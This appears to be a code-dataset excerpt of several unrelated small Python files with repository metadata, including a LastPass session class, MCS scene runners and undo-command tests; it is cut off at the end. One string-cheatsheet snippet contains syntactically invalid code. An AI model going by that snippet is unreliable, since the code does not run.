f1dd14b9eced9b7304d2fd952efe4dada9d06675 | 404 | py | Python | lastpass/session.py | thardie/lastpass-python | 403efc252844d5b9cb222ea68ccb14aab0107440 | [
"MIT"
] | null | null | null | lastpass/session.py | thardie/lastpass-python | 403efc252844d5b9cb222ea68ccb14aab0107440 | [
"MIT"
] | null | null | null | lastpass/session.py | thardie/lastpass-python | 403efc252844d5b9cb222ea68ccb14aab0107440 | [
"MIT"
] | null | null | null | # coding: utf-8
class Session(object):
def __init__(self, id, key_iteration_count, token=None, trust_id=None):
self.id = id
self.key_iteration_count = key_iteration_count
self.token = token
self.trust_id = trust_id
def __eq__(self, other):
return self.id == other.id and self.key_iteration_count == other.key_iteration_count and self.token == other.token
| 36.727273 | 122 | 0.688119 | 59 | 404 | 4.355932 | 0.338983 | 0.233463 | 0.330739 | 0.163424 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003155 | 0.215347 | 404 | 10 | 123 | 40.4 | 0.807571 | 0.032178 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0 | 0.125 | 0.5 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 5 |
f1ea7bf397ba42635d3d2d651ddb7547f251fd3e | 279 | py | Python | dbuspy/objects.py | ArunMj/dbuspy | 31c58dc7fa8a822d411faf2f5bf4d8f9ec8cb3f6 | [
"MIT"
] | null | null | null | dbuspy/objects.py | ArunMj/dbuspy | 31c58dc7fa8a822d411faf2f5bf4d8f9ec8cb3f6 | [
"MIT"
] | null | null | null | dbuspy/objects.py | ArunMj/dbuspy | 31c58dc7fa8a822d411faf2f5bf4d8f9ec8cb3f6 | [
"MIT"
] | null | null | null |
class DBusObjectHandler(object):
def __init__(self, client):
self.client = client
def get_remote_object_proxy(self, busname, object_path, interfaces):
return RemoteObjectProxy(self, busname, object_path)
class RemoteObjectProxy(object):
pass | 16.411765 | 72 | 0.716846 | 30 | 279 | 6.366667 | 0.533333 | 0.104712 | 0.17801 | 0.219895 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.204301 | 279 | 17 | 73 | 16.411765 | 0.86036 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.285714 | false | 0.142857 | 0 | 0.142857 | 0.714286 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | 0 | 5 |
f1f4dc41a13500def278757b3d679ce8641d5df7 | 30 | py | Python | aheui/version.py | minacle/rpaheui | b66f4885752ec9ea608b9a5cfe82b205609531e5 | [
"BSD-2-Clause"
] | 53 | 2015-03-19T13:09:09.000Z | 2022-02-02T03:01:11.000Z | aheui/version.py | minacle/rpaheui | b66f4885752ec9ea608b9a5cfe82b205609531e5 | [
"BSD-2-Clause"
] | 11 | 2015-10-09T08:27:47.000Z | 2020-08-14T15:07:51.000Z | aheui/version.py | minacle/rpaheui | b66f4885752ec9ea608b9a5cfe82b205609531e5 | [
"BSD-2-Clause"
] | 14 | 2015-03-20T15:24:31.000Z | 2020-07-16T13:56:15.000Z | VERSION = '1.2.2-20-gee8ab38'
| 15 | 29 | 0.666667 | 6 | 30 | 3.333333 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.296296 | 0.1 | 30 | 1 | 30 | 30 | 0.444444 | 0 | 0 | 0 | 0 | 0 | 0.566667 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
7b1e6abb8954d488a95da61fd60710c2f7e67014 | 82 | py | Python | D3Q/src/deep_dialog/usersims/__init__.py | Yuqing2018/D3Q_Python3 | 2a9918494e3f0ed18f9b7560b1e6f13119fbee91 | [
"MIT"
] | 1 | 2021-05-29T01:32:49.000Z | 2021-05-29T01:32:49.000Z | D3Q/src/deep_dialog/usersims/__init__.py | Yuqing2018/D3Q_Python3 | 2a9918494e3f0ed18f9b7560b1e6f13119fbee91 | [
"MIT"
] | null | null | null | D3Q/src/deep_dialog/usersims/__init__.py | Yuqing2018/D3Q_Python3 | 2a9918494e3f0ed18f9b7560b1e6f13119fbee91 | [
"MIT"
] | null | null | null | from .usersim_rule import *
from .usersim_model import *
from .RealUser import * | 27.333333 | 29 | 0.768293 | 11 | 82 | 5.545455 | 0.545455 | 0.360656 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.158537 | 82 | 3 | 30 | 27.333333 | 0.884058 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
9e4ad9223791d212d337a1c024219f43146a745d | 216 | py | Python | leet/strings/removeVowels.py | monishshah18/python-cp-cheatsheet | a5514b08816959de1198156f7764c54a7a585f20 | [
"Apache-2.0"
] | 140 | 2020-10-21T13:23:52.000Z | 2022-03-31T15:09:45.000Z | leet/strings/removeVowels.py | stacykutyepov/python-cp-cheatsheet | a00a57e1b36433648d1cace331e15ff276cef189 | [
"Apache-2.0"
] | 1 | 2021-07-22T14:01:25.000Z | 2021-07-22T14:01:25.000Z | leet/strings/removeVowels.py | stacykutyepov/python-cp-cheatsheet | a00a57e1b36433648d1cace331e15ff276cef189 | [
"Apache-2.0"
] | 33 | 2020-10-21T14:17:02.000Z | 2022-03-25T11:25:03.000Z | class Solution:
def removeVowels(self, S: str) -> str:
vw = set('aeiou')
return "".join([c for c in S if c not in vw])
def removeVowels(self, S):str
return re.sub('a|e|i|o|u', '', S) | 27 | 53 | 0.541667 | 37 | 216 | 3.162162 | 0.648649 | 0.25641 | 0.324786 | 0.34188 | 0.393162 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.287037 | 216 | 8 | 54 | 27 | 0.75974 | 0 | 0 | 0 | 0 | 0 | 0.064516 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
9e5b64bb77f0967ca555c3c5c6d981fdeda9f0df | 125 | py | Python | examples/apt_blueprint/backend.py | globus/action-provider-tools | 9c84513bb0c6129ec97f7f03bd4052e6c021f14c | [
"Apache-2.0"
] | 3 | 2020-08-26T19:43:45.000Z | 2022-02-11T20:35:52.000Z | examples/apt_blueprint/backend.py | globus/action-provider-tools | 9c84513bb0c6129ec97f7f03bd4052e6c021f14c | [
"Apache-2.0"
] | 20 | 2020-06-11T21:19:54.000Z | 2022-02-03T19:11:20.000Z | examples/apt_blueprint/backend.py | globus/action-provider-tools | 9c84513bb0c6129ec97f7f03bd4052e6c021f14c | [
"Apache-2.0"
] | null | null | null | from typing import Dict
from globus_action_provider_tools import ActionStatus
simple_backend: Dict[str, ActionStatus] = {}
| 20.833333 | 53 | 0.824 | 16 | 125 | 6.1875 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.12 | 125 | 5 | 54 | 25 | 0.9 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
9e7a4b733d13c04895e828b5da86612eab067c55 | 74 | py | Python | python/testData/refactoring/move/module/after/src/a.py | teddywest32/intellij-community | e0268d7a1da1d318b441001448cdd3e8929b2f29 | [
"Apache-2.0"
] | null | null | null | python/testData/refactoring/move/module/after/src/a.py | teddywest32/intellij-community | e0268d7a1da1d318b441001448cdd3e8929b2f29 | [
"Apache-2.0"
] | null | null | null | python/testData/refactoring/move/module/after/src/a.py | teddywest32/intellij-community | e0268d7a1da1d318b441001448cdd3e8929b2f29 | [
"Apache-2.0"
] | 1 | 2020-11-27T10:36:50.000Z | 2020-11-27T10:36:50.000Z | import p1
from p1 import m1
from p1.m1 import foo
p1.m1.foo
m1.bar
m1
foo | 9.25 | 21 | 0.756757 | 18 | 74 | 3.111111 | 0.333333 | 0.214286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.15 | 0.189189 | 74 | 8 | 22 | 9.25 | 0.783333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.428571 | 0 | 0.428571 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
9e9dde5e30025cbcfe15f3cc6e040e715568b677 | 3,282 | py | Python | python_api/machine_common_sense/run_mcs_intphys_samples.py | bzinberg/MCS | 495562a0d4d0b1e3679b78f0f6fb568a1b9a9ae2 | [
"Apache-2.0"
] | null | null | null | python_api/machine_common_sense/run_mcs_intphys_samples.py | bzinberg/MCS | 495562a0d4d0b1e3679b78f0f6fb568a1b9a9ae2 | [
"Apache-2.0"
] | null | null | null | python_api/machine_common_sense/run_mcs_intphys_samples.py | bzinberg/MCS | 495562a0d4d0b1e3679b78f0f6fb568a1b9a9ae2 | [
"Apache-2.0"
] | null | null | null | import sys
from machine_common_sense.mcs import MCS
if len(sys.argv) < 2:
print('Usage: python run_mcs_intphys_samples.py <mcs_unity_build_file>')
sys.exit()
def run_scene(file_name):
config_data, status = MCS.load_config_json_file(file_name)
if status is not None:
print(status)
return
config_file_path = file_name
config_file_name = config_file_path[config_file_path.rfind('/')+1:]
if 'name' not in config_data.keys():
config_data['name'] = config_file_name[0:config_file_name.find('.')]
last_step = 30
if 'goal' in config_data.keys():
if 'last_step' in config_data['goal'].keys():
last_step = config_data['goal']['last_step']
output = controller.start_scene(config_data)
for i in range(output.step_number + 1, last_step + 1):
action = output.action_list[len(output.action_list) - 1]
output = controller.step(action)
if __name__ == "__main__":
controller = MCS.create_controller(sys.argv[1], debug=True)
run_scene('../scenes/intphys_gravity_quartet_1A_plausible.json')
run_scene('../scenes/intphys_gravity_quartet_1B_plausible.json')
run_scene('../scenes/intphys_gravity_quartet_1C_implausible.json')
run_scene('../scenes/intphys_gravity_quartet_1D_implausible.json')
run_scene('../scenes/intphys_object_permanence_quartet_1A_plausible.json')
run_scene('../scenes/intphys_object_permanence_quartet_1B_plausible.json')
run_scene('../scenes/intphys_object_permanence_quartet_1C_implausible.json')
run_scene('../scenes/intphys_object_permanence_quartet_1D_implausible.json')
run_scene('../scenes/intphys_object_permanence_quartet_2A_plausible.json')
run_scene('../scenes/intphys_object_permanence_quartet_2B_plausible.json')
run_scene('../scenes/intphys_object_permanence_quartet_2C_implausible.json')
run_scene('../scenes/intphys_object_permanence_quartet_2D_implausible.json')
run_scene('../scenes/intphys_shape_constancy_quartet_1A_plausible.json')
run_scene('../scenes/intphys_shape_constancy_quartet_1B_plausible.json')
run_scene('../scenes/intphys_shape_constancy_quartet_1C_implausible.json')
run_scene('../scenes/intphys_shape_constancy_quartet_1D_implausible.json')
run_scene('../scenes/intphys_shape_constancy_quartet_2A_plausible.json')
run_scene('../scenes/intphys_shape_constancy_quartet_2B_plausible.json')
run_scene('../scenes/intphys_shape_constancy_quartet_2C_implausible.json')
run_scene('../scenes/intphys_shape_constancy_quartet_2D_implausible.json')
run_scene('../scenes/intphys_spatio_temporal_continuity_quartet_1A_plausible.json')
run_scene('../scenes/intphys_spatio_temporal_continuity_quartet_1B_plausible.json')
run_scene('../scenes/intphys_spatio_temporal_continuity_quartet_1C_implausible.json')
run_scene('../scenes/intphys_spatio_temporal_continuity_quartet_1D_implausible.json')
run_scene('../scenes/intphys_spatio_temporal_continuity_quartet_2A_plausible.json')
run_scene('../scenes/intphys_spatio_temporal_continuity_quartet_2B_plausible.json')
run_scene('../scenes/intphys_spatio_temporal_continuity_quartet_2C_implausible.json')
run_scene('../scenes/intphys_spatio_temporal_continuity_quartet_2D_implausible.json')
| 50.492308 | 89 | 0.780926 | 435 | 3,282 | 5.377011 | 0.17931 | 0.099188 | 0.167593 | 0.251389 | 0.716118 | 0.716118 | 0.704147 | 0.701154 | 0.620351 | 0.283882 | 0 | 0.012594 | 0.104814 | 3,282 | 64 | 90 | 51.28125 | 0.783526 | 0 | 0 | 0 | 0 | 0 | 0.567815 | 0.548613 | 0 | 0 | 0 | 0 | 0 | 1 | 0.019231 | false | 0 | 0.038462 | 0 | 0.076923 | 0.038462 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
9eaf87c7b7338dffc10bbed7a286305ae22a6d82 | 170 | py | Python | DataSourceModules/DataFormat.py | lbnl-cybersecurity/hpc_data_integrity_code | 0b8e1c77e4c59eed000ac9bd3b264d100c045797 | [
"BSD-3-Clause-LBNL"
] | 1 | 2020-10-15T01:03:59.000Z | 2020-10-15T01:03:59.000Z | DataSourceModules/DataFormat.py | lbnl-cybersecurity/hpc_data_integrity_code | 0b8e1c77e4c59eed000ac9bd3b264d100c045797 | [
"BSD-3-Clause-LBNL"
] | null | null | null | DataSourceModules/DataFormat.py | lbnl-cybersecurity/hpc_data_integrity_code | 0b8e1c77e4c59eed000ac9bd3b264d100c045797 | [
"BSD-3-Clause-LBNL"
] | null | null | null | #!/usr/bin/python3
class DataFormat:
def init(self):
pass
def CheckOriginalData(data):
#TODO using dynamic data structure
print("TODO") | 17 | 42 | 0.617647 | 19 | 170 | 5.526316 | 0.842105 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008197 | 0.282353 | 170 | 10 | 43 | 17 | 0.852459 | 0.294118 | 0 | 0 | 0 | 0 | 0.033898 | 0 | 0 | 0 | 0 | 0.1 | 0 | 1 | 0.4 | false | 0.2 | 0 | 0 | 0.6 | 0.2 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 5 |
7ba3ebd928da40354f70746b3dcc878fc105495c | 199 | py | Python | bottypes/command.py | Kileak/OTA-Challenge-Bot | aa3663be856e45a6969c9d3b9c141a514d66752d | [
"MIT"
] | null | null | null | bottypes/command.py | Kileak/OTA-Challenge-Bot | aa3663be856e45a6969c9d3b9c141a514d66752d | [
"MIT"
] | null | null | null | bottypes/command.py | Kileak/OTA-Challenge-Bot | aa3663be856e45a6969c9d3b9c141a514d66752d | [
"MIT"
] | null | null | null | from abc import ABC, abstractmethod
class Command(ABC):
"""Defines the command interface."""
def __init__(self): pass
def execute(self, slack_client, args, user_id, channel_id): pass
| 19.9 | 68 | 0.708543 | 27 | 199 | 4.962963 | 0.740741 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.18593 | 199 | 9 | 69 | 22.111111 | 0.82716 | 0.150754 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | false | 0.5 | 0.25 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 5 |
c8a14781d95dbc0e5350af32be67d5cb20e75be9 | 73 | py | Python | script/Ubuntu/kaggle_csv.py | cgsdfc/Neural-Dialogue-Generation | fd884847cc6252c5ba7a5906836a294ae6e1b20c | [
"MIT"
] | 1 | 2019-04-05T02:45:14.000Z | 2019-04-05T02:45:14.000Z | script/Ubuntu/kaggle_csv.py | cgsdfc/Neural-Dialogue-Generation | fd884847cc6252c5ba7a5906836a294ae6e1b20c | [
"MIT"
] | null | null | null | script/Ubuntu/kaggle_csv.py | cgsdfc/Neural-Dialogue-Generation | fd884847cc6252c5ba7a5906836a294ae6e1b20c | [
"MIT"
] | null | null | null | import unicodecsv
class RawExample:
def __init__(self):
pass | 14.6 | 23 | 0.684932 | 8 | 73 | 5.75 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.260274 | 73 | 5 | 24 | 14.6 | 0.851852 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0.25 | 0.25 | 0 | 0.75 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 5 |
cd9fa83bc17ed0945bc51696d2ca429ac6f1a197 | 360 | py | Python | ch32/classobject.py | eroicaleo/LearningPython | 297d46eddce6e43ce0c160d2660dff5f5d616800 | [
"MIT"
] | 1 | 2020-10-12T13:33:29.000Z | 2020-10-12T13:33:29.000Z | ch32/classobject.py | eroicaleo/LearningPython | 297d46eddce6e43ce0c160d2660dff5f5d616800 | [
"MIT"
] | null | null | null | ch32/classobject.py | eroicaleo/LearningPython | 297d46eddce6e43ce0c160d2660dff5f5d616800 | [
"MIT"
] | 1 | 2016-11-09T07:28:45.000Z | 2016-11-09T07:28:45.000Z | #!/usr/bin/env python
class C: pass
X = C()
print(type(X), type(C))
print(isinstance(X, object))
print(isinstance(C, object))
print(type('spam'), type(str))
print(isinstance('spam', object))
print(isinstance(str, object))
print(type(type), type(object))
print(isinstance(type, object))
print(isinstance(object, type))
print(C.__base__)
print(C().__repr__)
| 18.947368 | 33 | 0.711111 | 54 | 360 | 4.592593 | 0.296296 | 0.362903 | 0.33871 | 0.201613 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.088889 | 360 | 18 | 34 | 20 | 0.756098 | 0.055556 | 0 | 0 | 0 | 0 | 0.023599 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.076923 | 0 | 0 | 0.076923 | 0.846154 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 5 |
a81c92c4fdbe687122174c2b045a829c949cc887 | 252 | py | Python | grimp_package_metrics/__init__.py | Incognito/python-architecture-linter | 534e1508aaa46920b31601f8fffbb0f132844883 | [
"MIT"
] | 5 | 2021-06-30T09:33:09.000Z | 2021-08-18T12:20:32.000Z | grimp_package_metrics/__init__.py | Incognito/python-architecture-linter | 534e1508aaa46920b31601f8fffbb0f132844883 | [
"MIT"
] | 45 | 2021-06-27T10:35:43.000Z | 2022-03-28T04:09:05.000Z | grimp_package_metrics/__init__.py | Incognito/python-architecture-linter | 534e1508aaa46920b31601f8fffbb0f132844883 | [
"MIT"
] | 1 | 2021-07-04T15:48:00.000Z | 2021-07-04T15:48:00.000Z | from grimp_package_metrics.coupling_metrics import (
PackageMetrics,
get_all_package_metrics,
)
from grimp_package_metrics.dependency_cycles import dependency_cycles
__all__ = ["PackageMetrics", "get_all_package_metrics", "dependency_cycles"]
| 31.5 | 76 | 0.833333 | 29 | 252 | 6.62069 | 0.37931 | 0.291667 | 0.166667 | 0.239583 | 0.354167 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.099206 | 252 | 7 | 77 | 36 | 0.845815 | 0 | 0 | 0 | 0 | 0 | 0.214286 | 0.09127 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
b53045fde1b89f028b0c8e29a5ed278d08e18314 | 23 | py | Python | branch_test.py | ReasearchAssistant/test02 | 2155849edbc15ea099b3b391ab35d5f23ebbf988 | [
"MIT"
] | null | null | null | branch_test.py | ReasearchAssistant/test02 | 2155849edbc15ea099b3b391ab35d5f23ebbf988 | [
"MIT"
] | null | null | null | branch_test.py | ReasearchAssistant/test02 | 2155849edbc15ea099b3b391ab35d5f23ebbf988 | [
"MIT"
] | null | null | null | print('hello branch11') | 23 | 23 | 0.782609 | 3 | 23 | 6 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.090909 | 0.043478 | 23 | 1 | 23 | 23 | 0.727273 | 0 | 0 | 0 | 0 | 0 | 0.583333 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 5 |
b53cc72b9fa2936b490a7726584419f83e2642b3 | 4,500 | py | Python | hydropick/util/tests/test_commands.py | dpinte/hydropick | bb8c8775f15bdc9fa1a0a443ad0cdd9702a7e7af | [
"CC-BY-3.0"
] | 1 | 2019-01-24T16:22:23.000Z | 2019-01-24T16:22:23.000Z | hydropick/util/tests/test_commands.py | dpinte/hydropick | bb8c8775f15bdc9fa1a0a443ad0cdd9702a7e7af | [
"CC-BY-3.0"
] | null | null | null | hydropick/util/tests/test_commands.py | dpinte/hydropick | bb8c8775f15bdc9fa1a0a443ad0cdd9702a7e7af | [
"CC-BY-3.0"
] | null | null | null | #
# (C) Copyright 2014 Enthought, Inc., Austin, TX
# All right reserved.
#
# This file is open source software distributed according to the terms in
# LICENSE.txt
#
from __future__ import absolute_import
from unittest import TestCase, main
from traits.api import HasTraits, Int
from apptools.undo.api import UndoManager, CommandStack
from hydropick.util.commands import AttributeSetCommand
class TargetClass(HasTraits):
value = Int
class TestAttributeSetCommand(TestCase):
def setUp(self):
self.manager = UndoManager()
self.stack = CommandStack(undo_manager=self.manager)
self.manager.active_stack = self.stack
self.data = TargetClass()
self.data.value = 0
def test_command_do(self):
command = AttributeSetCommand(
data=self.data,
attribute='value',
value=1
)
self.manager.active_stack.push(command)
self.assertEqual(self.data.value, 1)
def test_command_undo(self):
command = AttributeSetCommand(
data=self.data,
attribute='value',
value=1
)
self.manager.active_stack.push(command)
self.manager.active_stack.undo()
self.assertEqual(self.data.value, 0)
def test_command_redo(self):
command = AttributeSetCommand(
data=self.data,
attribute='value',
value=1
)
self.manager.active_stack.push(command)
self.manager.undo()
self.manager.redo()
self.assertEqual(self.data.value, 1)
def test_mergeable_command_do(self):
command1 = AttributeSetCommand(
data=self.data,
attribute='value',
value=1,
mergeable=True,
)
command2 = AttributeSetCommand(
data=self.data,
attribute='value',
value=2,
mergeable=True,
)
self.manager.active_stack.push(command1)
self.manager.active_stack.push(command2)
self.assertEqual(self.data.value, 2)
def test_mergeable_command_undo(self):
command1 = AttributeSetCommand(
data=self.data,
attribute='value',
value=1,
mergeable=True,
)
command2 = AttributeSetCommand(
data=self.data,
attribute='value',
value=2,
mergeable=True,
)
self.manager.active_stack.push(command1)
self.manager.active_stack.push(command2)
self.manager.active_stack.undo()
self.assertEqual(self.data.value, 0)
def test_mergeable_command_redo(self):
command1 = AttributeSetCommand(
data=self.data,
attribute='value',
value=1,
mergeable=True,
)
command2 = AttributeSetCommand(
data=self.data,
attribute='value',
value=2,
mergeable=True,
)
self.manager.active_stack.push(command1)
self.manager.active_stack.push(command2)
self.manager.active_stack.undo()
self.manager.active_stack.redo()
self.assertEqual(self.data.value, 2)
def test_unmergeable_command_undo_1(self):
command1 = AttributeSetCommand(
data=self.data,
attribute='value',
value=1,
)
command2 = AttributeSetCommand(
data=self.data,
attribute='value',
value=2,
mergeable=True,
)
self.manager.active_stack.push(command1)
self.manager.active_stack.push(command2)
self.assertEqual(self.data.value, 2)
self.manager.active_stack.undo()
self.assertEqual(self.data.value, 1)
self.manager.active_stack.undo()
self.assertEqual(self.data.value, 0)
def test_unmergeable_command_undo_2(self):
command1 = AttributeSetCommand(
data=self.data,
attribute='value',
value=1,
mergeable=True,
)
command2 = AttributeSetCommand(
data=self.data,
attribute='value',
value=2,
)
self.manager.active_stack.push(command1)
self.manager.active_stack.push(command2)
self.manager.active_stack.undo()
self.assertEqual(self.data.value, 1)
self.manager.active_stack.undo()
self.assertEqual(self.data.value, 0)
if __name__ == '__main__':
main()
| 28.66242 | 73 | 0.595333 | 461 | 4,500 | 5.683297 | 0.154013 | 0.10916 | 0.142748 | 0.184733 | 0.759924 | 0.74313 | 0.740076 | 0.726718 | 0.684351 | 0.684351 | 0 | 0.016388 | 0.308444 | 4,500 | 156 | 74 | 28.846154 | 0.825514 | 0.033333 | 0 | 0.694656 | 0 | 0 | 0.016813 | 0 | 0 | 0 | 0 | 0 | 0.083969 | 1 | 0.068702 | false | 0 | 0.038168 | 0 | 0.129771 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
b552c5d6b59975a7c93c4a07f3da314ab63d720b | 112 | py | Python | docbox/tests/test_bounding_box.py | tccorcoran/docbox | 8224210931f893679f92d571e06972fbd91e340e | [
"MIT"
] | null | null | null | docbox/tests/test_bounding_box.py | tccorcoran/docbox | 8224210931f893679f92d571e06972fbd91e340e | [
"MIT"
] | null | null | null | docbox/tests/test_bounding_box.py | tccorcoran/docbox | 8224210931f893679f92d571e06972fbd91e340e | [
"MIT"
] | null | null | null | from docbox.bounding_box import BoundingBox
def test_create():
bb = BoundingBox(x1=0, x2=10, y1=0, y2=10)
| 18.666667 | 46 | 0.714286 | 19 | 112 | 4.105263 | 0.842105 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.106383 | 0.160714 | 112 | 5 | 47 | 22.4 | 0.723404 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
b557f69badde285688a0bc640a80961cc99dc557 | 48 | py | Python | simple/utils/__init__.py | mcnanna/simple | 5d96abb3994d9034fff1dcec590d0fdced8ba784 | [
"MIT"
] | 3 | 2019-10-12T03:02:15.000Z | 2022-03-09T23:28:26.000Z | simple/utils/__init__.py | mcnanna/simple | 5d96abb3994d9034fff1dcec590d0fdced8ba784 | [
"MIT"
